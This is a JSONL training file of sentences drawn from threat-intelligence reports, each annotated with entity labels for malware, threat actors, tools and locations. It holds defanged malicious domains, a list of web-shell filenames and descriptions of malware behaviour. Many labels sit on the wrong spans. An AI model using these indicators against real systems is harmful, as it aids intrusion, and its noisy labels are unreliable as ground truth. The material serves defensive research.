{"id":13153,"text":"Based on data from the Trend Micro\u2122 Smart Protection Network\u2122 security infrastructure, USBferry attacks have been active since 2014.","entities":[{"id":41048,"label":"location","start_offset":29,"end_offset":34},{"id":41049,"label":"location","start_offset":42,"end_offset":52},{"id":41050,"label":"location","start_offset":62,"end_offset":70},{"id":41051,"label":"tools","start_offset":87,"end_offset":95}],"relations":[],"Comments":[]}
{"id":6142,"text":"It was downloaded from the same website as the sample in Table 5; however, it was targeted against an international law firm\u2019s East Asian office, and uses a Google Code page identified in FireEye\u2019s blog for C2, but an IP not listed in the blog post.","entities":[{"id":18998,"label":"location","start_offset":27,"end_offset":31},{"id":18999,"label":"location","start_offset":47,"end_offset":53},{"id":19001,"label":"location","start_offset":102,"end_offset":115},{"id":19002,"label":"location","start_offset":116,"end_offset":119},{"id":19004,"label":"tools","start_offset":138,"end_offset":144},{"id":19005,"label":"location","start_offset":146,"end_offset":149},{"id":19006,"label":"location","start_offset":169,"end_offset":173},{"id":19008,"label":"location","start_offset":244,"end_offset":248}],"relations":[],"Comments":[]}
{"id":6482,"text":"      Figure 7.","entities":[],"relations":[],"Comments":[]}
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{"id":13151,"text":"The group employs USBferry, a USB malware that performs different commands on specific targets, maintains stealth in environments, and steals critical data through USB storage.","entities":[{"id":41041,"label":"malware","start_offset":18,"end_offset":26}],"relations":[],"Comments":[]}
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{"id":11503,"text":"COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to send credential phishing emails to targets including government and defense officials, politicians, NGOs and think tanks, and journalists.","entities":[{"id":35186,"label":"threat-actor","start_offset":0,"end_offset":9},{"id":35189,"label":"attack-pattern","start_offset":104,"end_offset":112},{"id":35190,"label":"location","start_offset":152,"end_offset":155},{"id":35191,"label":"location","start_offset":193,"end_offset":196},{"id":35192,"label":"location","start_offset":210,"end_offset":213}],"relations":[],"Comments":[]}
{"id":407,"text":"As shoppers and retailers gear up for the 2017 holiday season, they need to be aware of a new kind of cybersecurity threat they may face this year: unauthorized coin mining.","entities":[{"id":46104,"label":"attack-pattern","start_offset":148,"end_offset":172},{"id":46103,"label":"TIME","start_offset":42,"end_offset":61}],"relations":[],"Comments":[]}
{"id":454,"text":"While DGA has been in use for over 10 years now, it\u2019s still a potent technique that has been a particular challenge for defenders to counter.","entities":[],"relations":[],"Comments":[]}
{"id":3067,"text":"Figure 5 Code that generated the fake threat cleared page.","entities":[],"relations":[],"Comments":[]}
{"id":3569,"text":" ConfuserEx is an open-source tool with multiple versions hosted on Github.","entities":[{"id":49353,"label":"tools","start_offset":1,"end_offset":11}],"relations":[],"Comments":[]}
{"id":14005,"text":"Previously, we uncovered two different campaigns in 2019 under the name of SLUB malware.","entities":[{"id":43409,"label":"malware","start_offset":75,"end_offset":79}],"relations":[],"Comments":[]}
{"id":6662,"text":"Like the initial Shamoon 2 attacks, this second wave of Shamoon 2 attacks utilize the Disttrack wiper malware.","entities":[{"id":20673,"label":"tools","start_offset":17,"end_offset":24},{"id":20675,"label":"tools","start_offset":56,"end_offset":63},{"id":20677,"label":"tools","start_offset":96,"end_offset":101}],"relations":[],"Comments":[]}
{"id":9003,"text":"As a reminder, while investigating Earth Berberoka, we found multiple links to Iron Tiger that we detailed in our research.","entities":[{"id":27817,"label":"threat-actor","start_offset":79,"end_offset":89}],"relations":[],"Comments":[]}
{"id":4780,"text":"Google developed Project Shield, a free protection against distributed denial of service (DDoS) attacks, to protect news media and human rights organization websites.","entities":[{"id":50680,"label":"identity","start_offset":0,"end_offset":6},{"id":50681,"label":"attack-pattern","start_offset":59,"end_offset":95}],"relations":[],"Comments":[]}
{"id":7917,"text":"Since that Threat Brief, our Unit 42 researchers have become aware of another wave of Shamoon 2 attacks.","entities":[{"id":24532,"label":"tools","start_offset":86,"end_offset":93}],"relations":[],"Comments":[]}
{"id":1146,"text":" Absolute proof for a few of these hypotheses may never be realized.","entities":[],"relations":[],"Comments":[]}
{"id":12792,"text":"BIFROSE, known for evading detection by communicating with its C&C servers via Tor protocol, also has a version targeting UNIX-based operating systems, which are usually used in servers, workstations, and mobile devices.","entities":[{"id":39838,"label":"malware","start_offset":79,"end_offset":82},{"id":39839,"label":"location","start_offset":158,"end_offset":161},{"id":39840,"label":"location","start_offset":201,"end_offset":204},{"id":39841,"label":"location","start_offset":205,"end_offset":211}],"relations":[],"Comments":[]}
{"id":12044,"text":"Related Malware hashes: Top Phishing Domains:","entities":[{"id":37266,"label":"attack-pattern","start_offset":28,"end_offset":36}],"relations":[],"Comments":[]}
{"id":2105,"text":" In the attack, as detailed in the Palo Alto Networks Security Operations blog, \u201cProtecting Against the Bronze Bit Vulnerability with Cortex XDR,\u201d the attacker tampers with the Kerberos service ticket, which allows the attacker to authenticate to the target as any user, including sensitive accounts and members of the \u201cProtected Users\u201d group.","entities":[{"id":47238,"label":"vulnerability","start_offset":104,"end_offset":128},{"id":47239,"label":"SOFTWARE","start_offset":134,"end_offset":144},{"id":47240,"label":"SOFTWARE","start_offset":177,"end_offset":185},{"id":47237,"label":"identity","start_offset":35,"end_offset":73}],"relations":[],"Comments":[]}
{"id":12431,"text":"We encourage anyone who discovers a Chrome vulnerability to report that activity via the Chrome VRP submission process.","entities":[],"relations":[],"Comments":[]}
{"id":391,"text":"  The ransomware was blocked by the Cortex XDR agent.","entities":[{"id":46086,"label":"SOFTWARE","start_offset":36,"end_offset":52}],"relations":[],"Comments":[]}
{"id":5789,"text":"But we didn't cover a number of areas that I thought we were going to cover, but we didn't.","entities":[],"relations":[],"Comments":[]}
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{"id":2109,"text":"Customers running Cortex XDR Pro with analytics enabled will get alerted on related suspicious activities and specifically on a delegation from or to a protected user.  Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.","entities":[{"id":45397,"label":"identity","start_offset":169,"end_offset":187},{"id":45396,"label":"SOFTWARE","start_offset":18,"end_offset":32}],"relations":[],"Comments":[]}
{"id":4971,"text":"Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments with the technical expertise to develop and operationalize exploits.","entities":[],"relations":[],"Comments":[]}
{"id":1554,"text":"How you can protect yourself","entities":[],"relations":[],"Comments":[]}
{"id":2240,"text":"The optional response by the C2 server is both encoded and encrypted.  The data is first encrypted using an unidentified algorithm.","entities":[],"relations":[],"Comments":[]}
{"id":6472,"text":"The above IP address is geolocated to a server in Iran.","entities":[],"relations":[],"Comments":[]}
{"id":2736,"text":" Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.","entities":[{"id":45680,"label":"identity","start_offset":1,"end_offset":19}],"relations":[],"Comments":[]}
{"id":8523,"text":"Once the target agreed to the deal, a malware landing page disguised as a software download URL was sent via email or a PDF on Google Drive, and in a few cases, Google documents containing the phishing links.","entities":[{"id":26320,"label":"location","start_offset":9,"end_offset":15},{"id":26321,"label":"location","start_offset":30,"end_offset":34},{"id":26322,"label":"location","start_offset":46,"end_offset":53},{"id":26323,"label":"location","start_offset":54,"end_offset":58},{"id":26325,"label":"location","start_offset":141,"end_offset":144},{"id":26327,"label":"attack-pattern","start_offset":193,"end_offset":201}],"relations":[],"Comments":[]}
{"id":13983,"text":"Other innovative trends that work hand in hand with ATT&CK is the move to XDR from EDR.","entities":[{"id":48772,"label":"SOFTWARE","start_offset":74,"end_offset":78},{"id":48773,"label":"SOFTWARE","start_offset":83,"end_offset":86}],"relations":[],"Comments":[]}
{"id":3959,"text":"The attacker uses installed security components or applications as filenames to hide in plain sight.","entities":[],"relations":[],"Comments":[]}
{"id":14011,"text":"Sometimes, these leads can determine the preferred languages used in the developers\u2019 environment.","entities":[],"relations":[],"Comments":[]}
{"id":720,"text":" We recommend that customers update Atlassian Confluence Server and Data Center to the latest version, 7.13.0 (TLS).","entities":[{"id":44838,"label":"SOFTWARE","start_offset":36,"end_offset":79}],"relations":[],"Comments":[]}
{"id":5416,"text":"Asus is likely only one of the vendors that is currently being targeted by Cyclops Blink.","entities":[{"id":51420,"label":"identity","start_offset":0,"end_offset":4},{"id":51421,"label":"malware","start_offset":75,"end_offset":88}],"relations":[{"id":1094,"from_id":51421,"to_id":51420,"type":"targets"}],"Comments":[]}
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{"id":5144,"text":"Number one of the list is ketchup.","entities":[],"relations":[],"Comments":[]}
{"id":1362,"text":"The code that exposes this vulnerability is within a function named checkResetPasswordCode, specifically, line 281 in User.php.","entities":[{"id":44977,"label":"FILEPATH","start_offset":118,"end_offset":126}],"relations":[],"Comments":[]}
{"id":13908,"text":" In addition to PowerShell, which is used to install and operate the malware itself, the group reportedly uses Certutil and Bitsadmin to download the ransomware.","entities":[{"id":48726,"label":"tools","start_offset":16,"end_offset":26},{"id":48728,"label":"tools","start_offset":124,"end_offset":133},{"id":48727,"label":"tools","start_offset":111,"end_offset":120}],"relations":[],"Comments":[]}
{"id":1067,"text":"If a malicious app were to utilize this new vulnerability, our researchers have found it could carry out an overlay attack simply by being installed on the device.","entities":[{"id":46551,"label":"attack-pattern","start_offset":108,"end_offset":122}],"relations":[],"Comments":[]}
{"id":869,"text":"At the time, the malware was riddled with issues, specifically in the way it encrypted files.","entities":[],"relations":[],"Comments":[]}
{"id":14137,"text":"This is because those accounts are actually the ones the malware used during the infection logging activities to the Mattermost server.","entities":[{"id":48198,"label":"Infrastucture","start_offset":117,"end_offset":134}],"relations":[],"Comments":[]}
{"id":4998,"text":"At the time of the exploit, all Samsung kernels were vulnerable; LTS kernels running on Pixel phones were recent enough and included the fix for this bug.","entities":[],"relations":[],"Comments":[]}
{"id":4248,"text":"Occasionally, listboxes with encrypted strings are also added.","entities":[],"relations":[],"Comments":[]}
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{"id":6798,"text":"If the file size of \u201c%APPDATA%\\\\Microsoft\\Windows\\Cookies.exe\u201d exceeds 4,485 bytes, it is executed.","entities":[],"relations":[],"Comments":[]}
{"id":3000,"text":"First is the security of the devices themselves.","entities":[],"relations":[],"Comments":[]}
{"id":4304,"text":"These solutions are powered by Trend Micro XGen\u2122 security, which provides a cross-generational blend of threat defense techniques against a full range of threats for data centers, cloud environments, networks, and endpoints.","entities":[{"id":50104,"label":"SOFTWARE","start_offset":31,"end_offset":48}],"relations":[],"Comments":[]}
{"id":803,"text":"Stolen credentials underpin some of the most critical and damaging attacks out there; both Shamoon 2 and the Sofacy threat actor group, for example, have made detailed use of credential theft.","entities":[{"id":46358,"label":"attack-pattern","start_offset":175,"end_offset":191},{"id":46356,"label":"threat-actor","start_offset":109,"end_offset":134},{"id":46357,"label":"threat-actor","start_offset":91,"end_offset":100}],"relations":[{"id":182,"from_id":46357,"to_id":46358,"type":"uses"},{"id":183,"from_id":46356,"to_id":46358,"type":"uses"}],"Comments":[]}
{"id":2958,"text":"Last week we released a series of IPS signatures to detect an advanced exploitation technique that takes advantage of ActiveX. In May, we linked a recent IE 0-day (CVE-2014-1776) to exploit code used against two other IE vulnerabilities exploited in the last 12 months.","entities":[{"id":45754,"label":"vulnerability","start_offset":164,"end_offset":177},{"id":45755,"label":"SOFTWARE","start_offset":154,"end_offset":156},{"id":45756,"label":"SOFTWARE","start_offset":218,"end_offset":220}],"relations":[],"Comments":[]}
{"id":363,"text":" No matter how well patched your systems are, there\u2019s no reason not to deploy IPS signatures like these to detect and block attempted Heartbleed exploits.","entities":[{"id":44718,"label":"vulnerability","start_offset":134,"end_offset":144}],"relations":[],"Comments":[]}
{"id":6829,"text":"On any given day, Google's Threat Analysis Group (TAG) is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.","entities":[],"relations":[],"Comments":[]}
{"id":9627,"text":" Figure 1. Graphic used by the malicious document","entities":[],"relations":[],"Comments":[]}
{"id":9146,"text":"Why not go global to turn in more profit?","entities":[],"relations":[],"Comments":[]}
{"id":3820,"text":"Get DCName from Registry {Variable}.user.Arch","entities":[],"relations":[],"Comments":[]}
{"id":14198,"text":"Security operations (SecOPs) leaders may also want to:  Expand training and awareness for their users and partners; Collect telemetry from sources not traditionally aligned with cyber such as supply chain vendor management.","entities":[],"relations":[],"Comments":[]}
{"id":2147,"text":"Therefore, exploits for this vulnerability have potential to be of high impact.","entities":[],"relations":[],"Comments":[]}
{"id":12192,"text":"It was last updated on July 29, 2021.","entities":[],"relations":[],"Comments":[]}
{"id":1131,"text":" The backlog of already collected mutexes is too great for a small team of researchers to meaningfully tackle without some kind of ranking system.","entities":[],"relations":[],"Comments":[]}
{"id":1733,"text":"How can I prevent it?","entities":[],"relations":[],"Comments":[]}
{"id":3029,"text":"Ensure that any connected smart devices have good security, especially to protect against loss or theft.","entities":[],"relations":[],"Comments":[]}
{"id":2056,"text":"We also encountered additional graphs, mapping different things such as \u201cRussian Hosts,\u201d \u201cDDoS Guard\u201d and others, dating back to August 10, 2020 (Figure 15).","entities":[{"id":47146,"label":"TIME","start_offset":129,"end_offset":144}],"relations":[],"Comments":[]}
{"id":10181,"text":"We blocked 1.6M messages to targets, displayed ~62K Safe Browsing phishing page warnings, blocked 2.4K files, and successfully restored ~4K accounts.","entities":[{"id":31087,"label":"location","start_offset":52,"end_offset":56},{"id":31088,"label":"attack-pattern","start_offset":66,"end_offset":74},{"id":31089,"label":"malware","start_offset":75,"end_offset":79},{"id":31092,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
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{"id":639,"text":"Additionally, ongoing research by the industry is showing that specific actions this malware takes makes it technically infeasible, if not impossible, for recovery to occur.","entities":[],"relations":[],"Comments":[]}
{"id":11681,"text":"Although it\u2019s not clear to us how these phishing pages are delivered to the victims, finding the original webmail servers that they copied to make these phishing pages allows us to identify who they were targeting.","entities":[{"id":35822,"label":"location","start_offset":18,"end_offset":23},{"id":35823,"label":"attack-pattern","start_offset":40,"end_offset":48},{"id":35824,"label":"location","start_offset":55,"end_offset":58},{"id":35825,"label":"attack-pattern","start_offset":153,"end_offset":161}],"relations":[],"Comments":[]}
{"id":12998,"text":"These phishing domains have been blocked through Google Safe Browsing \u2013 a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.","entities":[{"id":40485,"label":"attack-pattern","start_offset":6,"end_offset":14},{"id":40487,"label":"location","start_offset":129,"end_offset":132},{"id":40488,"label":"location","start_offset":148,"end_offset":151}],"relations":[],"Comments":[]}
{"id":1277,"text":"During analysis of this threat, we identified five additional backdoor tools hosted on biosnews[.]info which may be downloaded by the Sysget variants once the attackers have established a foothold.","entities":[{"id":46651,"label":"DOMAIN","start_offset":87,"end_offset":102},{"id":46652,"label":"malware","start_offset":134,"end_offset":140}],"relations":[{"id":206,"from_id":46651,"to_id":46652,"type":"hosts"}],"Comments":[]}
{"id":8616,"text":"Since first discovering this activity, OpenSUpdater's authors have tried other variations on invalid encodings to further evade detection.","entities":[{"id":26618,"label":"malware","start_offset":39,"end_offset":51}],"relations":[],"Comments":[]}
{"id":1205,"text":" In Wildfire, we classify apps using these IAP SDKs as Potentially Unwanted Applications (PUA).","entities":[{"id":46599,"label":"SOFTWARE","start_offset":4,"end_offset":12}],"relations":[],"Comments":[]}
{"id":13489,"text":"We\u2019ll also share additional removal actions from April and May in the Q2 Bulletin.","entities":[{"id":51562,"label":"TIME","start_offset":49,"end_offset":54},{"id":51563,"label":"TIME","start_offset":59,"end_offset":62}],"relations":[],"Comments":[]}
{"id":448,"text":" While this threat can have a clear, negative impact on retailers and shoppers, the good news is that this threat is easily preventable and poses no lasting harm to consumers.","entities":[],"relations":[],"Comments":[]}
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{"id":5134,"text":"We are getting rid of this hard perimeter.","entities":[],"relations":[],"Comments":[]}
{"id":5110,"text":"Specifically how they launch their attacks","entities":[],"relations":[],"Comments":[]}
{"id":4925,"text":"So far in 2021, we\u2019ve sent over 50,000 warnings, a nearly 33% increase from this time in 2020.","entities":[{"id":50939,"label":"TIME","start_offset":10,"end_offset":14},{"id":50940,"label":"TIME","start_offset":89,"end_offset":93}],"relations":[],"Comments":[]}
{"id":846,"text":"In this case by making legitimate programs execute malicious code rather than their own legitimate code.","entities":[{"id":44890,"label":"attack-pattern","start_offset":43,"end_offset":65}],"relations":[],"Comments":[]}
{"id":11959,"text":"We terminated 15 YouTube channels as part of our investigation into coordinated influence operations linked to Ethiopia.","entities":[],"relations":[],"Comments":[]}
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{"id":4440,"text":"We\u2019ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.","entities":[],"relations":[],"Comments":[]}
{"id":2596,"text":"This was followed in short order by attacks on South American telecoms providers Claro and Embratel, Brazilian state-owned postal service \u201cCorreios,\u201d and Portuguese media giant Impresa.","entities":[{"id":47784,"label":"location","start_offset":101,"end_offset":110},{"id":47785,"label":"identity","start_offset":139,"end_offset":147},{"id":47786,"label":"location","start_offset":154,"end_offset":164},{"id":47781,"label":"location","start_offset":47,"end_offset":61},{"id":47783,"label":"identity","start_offset":91,"end_offset":99},{"id":47787,"label":"identity","start_offset":176,"end_offset":184},{"id":47782,"label":"identity","start_offset":81,"end_offset":86}],"relations":[{"id":352,"from_id":47787,"to_id":47786,"type":"located-at"},{"id":353,"from_id":47785,"to_id":47784,"type":"located-at"},{"id":354,"from_id":47782,"to_id":47781,"type":"located-at"},{"id":355,"from_id":47783,"to_id":47781,"type":"located-at"}],"Comments":[]}
{"id":5999,"text":"Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.","entities":[{"id":18489,"label":"location","start_offset":97,"end_offset":100},{"id":18490,"label":"location","start_offset":106,"end_offset":110},{"id":18491,"label":"attack-pattern","start_offset":114,"end_offset":122},{"id":18492,"label":"location","start_offset":123,"end_offset":126}],"relations":[],"Comments":[]}
{"id":3054,"text":"Before the removal it had also received 5,162 recommendations and 16,531 reviews that resulted in an average score of 4.0.","entities":[],"relations":[],"Comments":[]}
{"id":1928,"text":"The Patchwork Link Patchwork also uses the Delphi file stealer as a similarity with Urpage, which suggests the three groups are somehow related.","entities":[{"id":5664,"label":"threat-actor","start_offset":4,"end_offset":13},{"id":5665,"label":"threat-actor","start_offset":19,"end_offset":28},{"id":47055,"label":"threat-actor","start_offset":84,"end_offset":90}],"relations":[],"Comments":[]}
{"id":4867,"text":"The group commonly uses Google or OWA password reset lures to steal credentials from targets, often using the MailJet or SendGrid API to send phishing emails.","entities":[{"id":50863,"label":"SOFTWARE","start_offset":24,"end_offset":30},{"id":50864,"label":"SOFTWARE","start_offset":34,"end_offset":37},{"id":50865,"label":"attack-pattern","start_offset":38,"end_offset":92},{"id":50866,"label":"SOFTWARE","start_offset":110,"end_offset":117},{"id":50867,"label":"SOFTWARE","start_offset":121,"end_offset":129}],"relations":[],"Comments":[]}
{"id":9693,"text":"Let\u2019s say we want to scramble string \u2018Mac OSX 10.12.\u2019","entities":[],"relations":[],"Comments":[]}
{"id":12775,"text":"Some of the cloud storage accounts used to deliver PLEAD are also used as drop off points for exfiltrated documents stolen by DRIGO.","entities":[{"id":39750,"label":"location","start_offset":12,"end_offset":17},{"id":39751,"label":"malware","start_offset":51,"end_offset":56},{"id":39752,"label":"location","start_offset":57,"end_offset":60},{"id":39753,"label":"location","start_offset":83,"end_offset":89}],"relations":[],"Comments":[]}
{"id":14343,"text":"It has the ability to update itself from hxxp:\/\/fakeomegle[.]com\/, and steal .jpg, .jpeg, .png, .txt, .wav, .html, .doc, .docx and .rtf files located in the Desktop, Picture, Documents, and Downloads folders, as well as information about the machine\u2019s Internet Explorer, Chrome, Firefox or default browsers, OS, and network configuration.","entities":[{"id":48583,"label":"SOFTWARE","start_offset":271,"end_offset":277},{"id":48584,"label":"SOFTWARE","start_offset":279,"end_offset":287},{"id":48579,"label":"URL","start_offset":41,"end_offset":65},{"id":48582,"label":"SOFTWARE","start_offset":252,"end_offset":269}],"relations":[],"Comments":[]}
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{"id":4564,"text":"Follina is a remote code execution (RCE) vulnerability in the Microsoft Windows Support Diagnostic Tool (MSDT).","entities":[{"id":50386,"label":"vulnerability","start_offset":13,"end_offset":54},{"id":50387,"label":"SOFTWARE","start_offset":62,"end_offset":110}],"relations":[{"id":952,"from_id":50387,"to_id":50386,"type":"has"}],"Comments":[]}
{"id":3228,"text":"Based on the platform, it downloads a file with an encoded shellcode (sc3.txt, x64.txt), and then decodes it (the shellcode is base85 and hex-encoded).      Figure 14. Decoding the Cobalt Strike shellcode     The big module (BIOPASS RAT)","entities":[{"id":48347,"label":"FILEPATH","start_offset":70,"end_offset":77},{"id":48349,"label":"tools","start_offset":181,"end_offset":194},{"id":48348,"label":"FILEPATH","start_offset":79,"end_offset":86},{"id":9839,"label":"malware","start_offset":225,"end_offset":236}],"relations":[],"Comments":[]}
{"id":2688,"text":"On March 25, VX underground posted a tweet with details of this new version, dubbed LockBit Black.","entities":[{"id":45658,"label":"identity","start_offset":13,"end_offset":27},{"id":45659,"label":"TIME","start_offset":3,"end_offset":11},{"id":45661,"label":"malware","start_offset":84,"end_offset":97}],"relations":[],"Comments":[]}
{"id":2510,"text":"jquery123123123cssbackup7331.jsp tomjj.jsp test1.jsp hackerone0x.jsp inject.jsp poc4bugb.jsp curiositysec.jsp mynameis0bsecure.jsp tomcatwa.jsp ahmed.txt testqqsg.jsp wpz.jsp lelel.jsp shell.jsp 07935fdf05b66.jsp vulntest-12345.txt jquerycssv2.js poc.jsp tomcatspring.jsp ofc.jsp lalalalal.jsp safetytest.txt log.txt safetytest javatestfila.jsp checkexploit.jsp tomcatwar.jsp  Updated April 19, 2022, at 7:30 a.m. PT.   Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!  Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[{"id":47693,"label":"FILEPATH","start_offset":185,"end_offset":194},{"id":47678,"label":"FILEPATH","start_offset":0,"end_offset":32},{"id":47683,"label":"FILEPATH","start_offset":80,"end_offset":92},{"id":47685,"label":"FILEPATH","start_offset":93,"end_offset":109},{"id":47700,"label":"FILEPATH","start_offset":280,"end_offset":293},{"id":47704,"label":"FILEPATH","start_offset":328,"end_offset":344},{"id":47705,"label":"FILEPATH","start_offset":345,"end_offset":361},{"id":47706,"label":"FILEPATH","start_offset":362,"end_offset":375},{"id":47708,"label":"TIME","start_offset":377,"end_offset":416},{"id":47679,"label":"FILEPATH","start_offset":33,"end_offset":42},{"id":47680,"label":"FILEPATH","start_offset":43,"end_offset":52},{"id":47681,"label":"FILEPATH","start_offset":53,"end_offset":68},{"id":47682,"label":"FILEPATH","start_offset":69,"end_offset":79},{"id":47686,"label":"FILEPATH","start_offset":110,"end_offset":130},{"id":47687,"label":"FILEPATH","start_offset":131,"end_offset":143},{"id":47688,"label":"FILEPATH","start_offset":144,"end_offset":152},{"id":47689,"label":"FILEPATH","start_offset":154,"end_offset":166},{"id":47690,"label":"FILEPATH","start_offset":167,"end_offset":174},{"id":47694,"label":"FILEPATH","start_offset":195,"end_offset":212},{"id":47695,"label":"FILEPATH","start_offset":213,"end_offset":231},{"id":47692,"label":"FILEPATH","start_offset":175,"end_offset":184},{"id":47697,"label":"FILEPATH","start_offset":247,"end_offset":254},{"id":47696,"label":"FILEPATH","start_offset":232,"end_offset":246},{"id":47698,"label":"FILEPATH","start_offset":255,"end_offset":271},{"id":47699,"label":"FILEPATH","start_offset":272,"end_offset":279},{"id":47702,"label":"FILEPATH","start_offset":294,"end_offset":308},{"id":47703,"label":"FILEPATH","start_offset":309,"end_offset":316}],"relations":[],"Comments":[]}
{"id":2494,"text":" The Palo Alto Networks Product Security Assurance team is evaluating CVE-2022-22963 and CVE-2022-22965 as relates to Palo Alto Networks products and currently assigns this a severity of none.","entities":[{"id":47577,"label":"identity","start_offset":5,"end_offset":55},{"id":47578,"label":"vulnerability","start_offset":70,"end_offset":84},{"id":47580,"label":"identity","start_offset":118,"end_offset":136},{"id":47579,"label":"vulnerability","start_offset":89,"end_offset":103}],"relations":[],"Comments":[]}
{"id":2870,"text":" Researchers from Palo Alto Networks have investigated this exploit in depth and concluded that this is a Use-After-Free vulnerability that occurs when Internet Explorer tries to reuse a freed CMarkup object.","entities":[{"id":48072,"label":"SOFTWARE","start_offset":152,"end_offset":169},{"id":48071,"label":"identity","start_offset":18,"end_offset":36}],"relations":[],"Comments":[]}
{"id":14301,"text":"Content of the MiaKhalifa.rar file README.txt provides instructions teaching the user how to turn off the anti-virus software and how to turn on the network, which the attacker needs to steal and upload data to its C&C server.","entities":[{"id":48512,"label":"FILEPATH","start_offset":15,"end_offset":29},{"id":48515,"label":"SOFTWARE","start_offset":106,"end_offset":125},{"id":48513,"label":"FILEPATH","start_offset":34,"end_offset":45},{"id":48514,"label":"Infrastucture","start_offset":215,"end_offset":225}],"relations":[{"id":439,"from_id":48512,"to_id":48513,"type":"related-to"},{"id":440,"from_id":48513,"to_id":48515,"type":"related-to"}],"Comments":[]}
{"id":4319,"text":"     If the target clicks on either the link or on the \u201cunsubscribe\u201d link, it will download a Word document from the domain parinari[.]xyz.","entities":[{"id":50123,"label":"DOMAIN","start_offset":124,"end_offset":138}],"relations":[],"Comments":[]}
{"id":881,"text":"Once completed, the malware sends the result via an HTTP POST request to a remote server.","entities":[],"relations":[],"Comments":[]}
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{"id":6897,"text":" We\u2019ve detected a few emerging trends in recent months.","entities":[],"relations":[],"Comments":[]}
{"id":2155,"text":" This code does a few things.","entities":[],"relations":[],"Comments":[]}
{"id":9450,"text":"We believe that it serves as a marker that stage 2 has been completed.","entities":[],"relations":[],"Comments":[]}
{"id":1331,"text":" An example HTTP POST request can be seen below.  NFlog  When loaded inside of a running process, NFlog begins by spawning a new thread.","entities":[{"id":4011,"label":"malware","start_offset":50,"end_offset":55},{"id":4012,"label":"malware","start_offset":98,"end_offset":103}],"relations":[],"Comments":[]}
{"id":3095,"text":"The vulnerability status of AMD chips is unclear at the time of this writing.","entities":[],"relations":[],"Comments":[]}
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{"id":1683,"text":"While we have identified it as being active since late 2016, Reaver has been used sparingly, with only a small number of unique samples identified.","entities":[{"id":45094,"label":"malware","start_offset":61,"end_offset":67}],"relations":[],"Comments":[]}
{"id":5402,"text":"Over the past few years, IoT attacks have been escalating globally and internet routers have been one of the primary targets.","entities":[],"relations":[],"Comments":[]}
{"id":6392,"text":"Palo Alto Networks Cortex Xpanse history shows that this port was open from May 21-June 18, 2022, with the same \u201cMicrosoft Security\u201d self-signed SSL certificate seen above.","entities":[{"id":19823,"label":"location","start_offset":107,"end_offset":111},{"id":19824,"label":"identity","start_offset":113,"end_offset":122},{"id":19825,"label":"location","start_offset":123,"end_offset":131},{"id":19826,"label":"location","start_offset":145,"end_offset":148}],"relations":[],"Comments":[]}
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{"id":8723,"text":"The DLL is custom malware that would immediately begin communicating with actor-controlled C2 domains.","entities":[],"relations":[],"Comments":[]}
{"id":6995,"text":"CapraRAT\u2019s persistence mechanism     Reducing risks:","entities":[{"id":21902,"label":"malware","start_offset":0,"end_offset":8}],"relations":[],"Comments":[]}
{"id":10976,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 of 2020.","entities":[],"relations":[],"Comments":[]}
{"id":705,"text":"Everybody I know has been scrambling to understand what it means to their organization, to their business and to their immediate family.","entities":[],"relations":[],"Comments":[]}
{"id":1501,"text":"Effectively, a backdoor implant affects loss of control over a computer asset.","entities":[],"relations":[],"Comments":[]}
{"id":3651,"text":"If an attacker tried to carry this attack out against a target that was patched for this vulnerability, it would fail.","entities":[],"relations":[],"Comments":[]}
{"id":9128,"text":"Acquiring additional modules of the group\u2019s malware, for instance, was nearly impractical if the exploit URLs were loaded in a sandboxed environment.","entities":[],"relations":[],"Comments":[]}
{"id":4660,"text":"The browser then navigates to Gmail to begin the data collection.","entities":[{"id":50568,"label":"SOFTWARE","start_offset":30,"end_offset":35}],"relations":[],"Comments":[]}
{"id":5127,"text":"And with that in mind we come back to the concept of lateral movement.","entities":[{"id":51213,"label":"attack-pattern","start_offset":53,"end_offset":69}],"relations":[],"Comments":[]}
{"id":1846,"text":"Inside aswArPot.sys, we saw 0x9988C094 in a switch case with a function sub_14001DC80 case.","entities":[{"id":46976,"label":"FILEPATH","start_offset":7,"end_offset":19}],"relations":[],"Comments":[]}
{"id":9478,"text":"Uploaded file content FileManage_FolderContent_Packet Folder content VecProcessPacket Vector object with running processes InstallModulePacket BMP with encrypted module to be installed","entities":[{"id":29111,"label":"location","start_offset":14,"end_offset":21},{"id":29112,"label":"location","start_offset":61,"end_offset":68},{"id":29113,"label":"tools","start_offset":86,"end_offset":92}],"relations":[],"Comments":[]}
{"id":497,"text":"The Android Toast Overlay attack specifically targets outdated devices using versions prior to 8.0.","entities":[{"id":46133,"label":"attack-pattern","start_offset":4,"end_offset":32}],"relations":[],"Comments":[]}
{"id":2150,"text":"The document was abusing the Microsoft Word remote template feature to retrieve a malicious HTML file that subsequently used the ms-msdt Office URI scheme to execute PowerShell within the context of Word.","entities":[{"id":47290,"label":"SOFTWARE","start_offset":199,"end_offset":203},{"id":47289,"label":"tools","start_offset":166,"end_offset":176},{"id":47291,"label":"SOFTWARE","start_offset":29,"end_offset":43}],"relations":[],"Comments":[]}
{"id":9785,"text":"In general, users should always practice caution when it comes to email.","entities":[],"relations":[],"Comments":[]}
{"id":1040,"text":"More sophisticated and nefarious uses include leveraging accounts in social engineering\/phishing attacks or exploiting access to high-value university systems (e.g., personnel, financial, research) to steal information.","entities":[{"id":46533,"label":"attack-pattern","start_offset":88,"end_offset":104},{"id":46534,"label":"attack-pattern","start_offset":69,"end_offset":87},{"id":46535,"label":"attack-pattern","start_offset":108,"end_offset":125},{"id":46536,"label":"attack-pattern","start_offset":201,"end_offset":218}],"relations":[],"Comments":[]}
{"id":1454,"text":" Ideally, an app developer should generate a unique private key for each unique app they post in the Google Play Store.","entities":[{"id":46773,"label":"SOFTWARE","start_offset":101,"end_offset":118}],"relations":[],"Comments":[]}
